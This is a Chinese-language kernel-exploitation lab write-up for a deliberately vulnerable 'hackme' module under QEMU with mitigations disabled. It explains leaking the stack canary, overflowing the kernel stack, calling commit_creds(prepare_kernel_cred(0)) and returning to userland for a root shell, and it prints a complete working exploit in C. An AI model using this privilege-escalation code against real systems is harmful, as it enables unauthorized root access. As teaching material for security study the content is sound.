介绍
参考 https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
文件下载地址kernel-rop-bf9c106d45917343.tar.xz (8.2 MiB)
这里介绍关闭所有保护的内核缓冲区溢出。canary是不能关闭的
主要包括以下几个步骤:
- 保存寄存器
- 打开设备
- 泄漏canary
- 利用缓冲区溢出写入shellcode劫持执行流获取root权限
- 在内核调用commit_creds(prepare_kernel_cred(0)) 修改用户uid为root用户
- 恢复原来保存的寄存器值,可以设置为随机值但是有可能出问题。
- 用iretq指令返回。
内核介绍
- 0为root用户的uid,1000为第一个非root用户的uid。
解压内核以及文件系统
要得到一些rop需要把内核解压取出里面的elf文件
原文提供了extract-image.sh用来解压内核中的elf文件部分,方便使用rop。文件比较大需要时间长,需要优先获取rop。
./extract-image.sh ./vmlinuz > vmlinux
ROPgadget --binary ./vmlinux > gadgets.txt
文件系统用不同的解压工具解压即可,这里需要解压还需要修改之后重新压缩。
解压
```
!/bin/sh
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
```
压缩,原路压缩回去
```
!/bin/sh
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0
| cpio --null -ov --format=newc
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
```
文件系统与文件
为了方便调试需要获取系统的完全控制权,运行run.sh可以进入虚拟系统,默认的设置进去之后是普通用户权限。
在文件系统的 etc目录下有一些init文件,这里inittab文件包含了设置uid的部分,1000修改为0可以获得root权限。
启动脚本与保护
下面是修改后的启动脚本
qemu-system-x86_64
-s
-m 128M
-cpu kvm64
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr nopti nosmap nosmep quiet panic=1"
- -s为调试模式,可以在gdb里调试内核。
gdb --nx vmlinux
可以不运行插件。
gdb vmlinuxtarget
target remote 127.0.0.1:1234 (target remote docker.for.mac.host.internal:1234 mac的docker环境)
* -m指定内存
* -cpu指定cpu模型可以在这里添加+smep和
+smap用于相应的保护(开启保护需要删掉-append的nosmap和nosmep)
* -kernel指定内核
* -initrd 指定文件系统
* -hdb会把文件flag.txt放入
/dev/sda作为一个磁盘
* -snapshot 所有磁盘映像都被视为只读
* -append传递内核参数
对应保护:
- smep -cpu选项添加+smep。当进程处于内核模式时,此功能将页表中的所有用户态内存页标记为不可执行。在内核中,这是通过设置CR4的第20bit实现的。
- smap -cpu选项添加+smep。当进程处于内核模式时,此功能将页表中的所有用户空间页面标记为不可访问,这意味着它们也不能被读取或写入。这是通过设置CR4的第21bit实现的。
- 内核栈canary 这与用户空间上的canary完全相同。它在编译时在内核中启用并且不能被禁用。
- kaslr 也像
ASLR
在用户态一样,它随机化每次系统启动时加载内核的基地址。可以通过在-append
选项下添加kaslr
或nokaslr
启用/禁用它。 - kpti。当此功能处于活动状态时,内核将用户空间和内核空间页表完全分开,而不是仅使用一组同时包含用户空间和内核空间地址的页表。可以通过添加
kpti=1
或nopti
在-append
选项下启用/禁用它。
调试内核模块
在run.sh中qemu-system-x86_64参数添加-s可以附加到远程调试器
在另一台主机启动gdb,连接远程主机,添加符号
gdb -nx ./initramfs/hackme.ko
target remote 127.0.0.1:1234 (mac的docker下调试器target remote docker.for.mac.host.internal:1234)
add-symbol-file ./initramfs/hackme.ko 0xffffffffc0000000
模块的地址确定需要root权限(上面讲述了获取方法)
/ # lsmod /proc/modules
hackme 20480 2 - Live 0xffffffffc0000000 (O)
之后正常加上基地址下端点 b *0xffffffffc0000000+0xf0
在qemu里触发断点即可。
漏洞利用
文件系统解压之后找到了文件hackme.ko在read和write部分
其中read函数的实现把内核缓区拷贝到用户空间。
上图中的memcpy的size参数没有显示,实际值如下,为用户传入的size。
即指定size可以从内核缓冲区读入任意字节(小于0x1000字节)。
write类似,可以往缓冲区写入任意字节
泄漏canary
在安装内核模块之后使用就像文件操作,需要打开文件,然后操作。
```
unsigned long cookie;
void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
printf("[*] Leaked %zd bytesn", r);
//print_leak(leak, n);
printf("[*] Cookie: %lxn", cookie);
}
```
正常的泄漏canary,直接打印。
获取root权限
相比用户程序,内核栈会放置canary,rbx,r12,rbp,返回地址。
想要获取root权限,内核需要执行的是commit_creds(prepare_kernel_cred(0))
修改用户uid为root用户。
```
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)escalate_privs; // ret
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
```
escalate_privs的主要代码是
__asm__(
".intel_syntax noprefix;"//指定intel语法
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
...
"iretq;"
".att_syntax;"
);
两个函数地址是通过cat /proc/kallsyms |grep commit_creds
获取的(需要按照前面的方法修改uid为0),在关闭KASLR的情况下这个地址是固定的。
iretq让程序从内核态返回到用户态。
Linux系统下,每个进程拥有其对应的struct cred
,用于记录该进程的uid。内核exploit的目的,便是修改当前进程的cred,从而提升权限。当然,进程本身是无法篡改自己的cred的,我们需要在内核空间中,通过以下方式来达到这一目的:
commit_creds(prepare_kernel_cred(0));
prepare_kernel_cred()
创建一个新的cred,参数为0则将cred中的uid, gid设置为0,对应于root用户。随后,commit_creds()
将这个cred应用于当前进程。此时,进程便提升到了root权限。
保存和恢复寄存器
在进入内核前需要保存寄存器,方便返回的时候恢复。上面描述了怎么获取root权限,但是在返回用户态之后需要用root权限执行想要的代码。
需要保存和恢复的寄存器包括ss,rsp,flags,cs,rip。在返回的时候需要放入对应位置,分别为。
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
完整利用
```
define _GNU_SOURCE
include
include
include
include
include
include
include
include
include
include
include
include
include
include
int global_fd;
void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lxn", i, leak[i]);
}
}
unsigned long cookie;
void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
printf("[*] Leaked %zd bytesn", r);
//print_leak(leak, n);
printf("[*] Cookie: %lxn", cookie);
}
void get_shell(void){
puts("[] Returned to userland");
if (getuid() == 0){
printf("[] UID: %d, got root!n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get rootn", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs(void){
asm(
".intel_syntax noprefix;"//指定intel语法
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)escalate_privs; // ret
puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
int main() {
save_state();
open_dev();
leak();
overflow();
puts("[!] Should never be reached");
return 0;
}
```
什么是JDBC Java 数据库连接 ( JDBC ) 是编程语言Java的应用程序编程接口(API) ,它定义了客户端如何访问数据库。它是一种基于 Java 的数据访问技术,用于 Java 数据库连接。它是Oracle Corporation的Java St…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论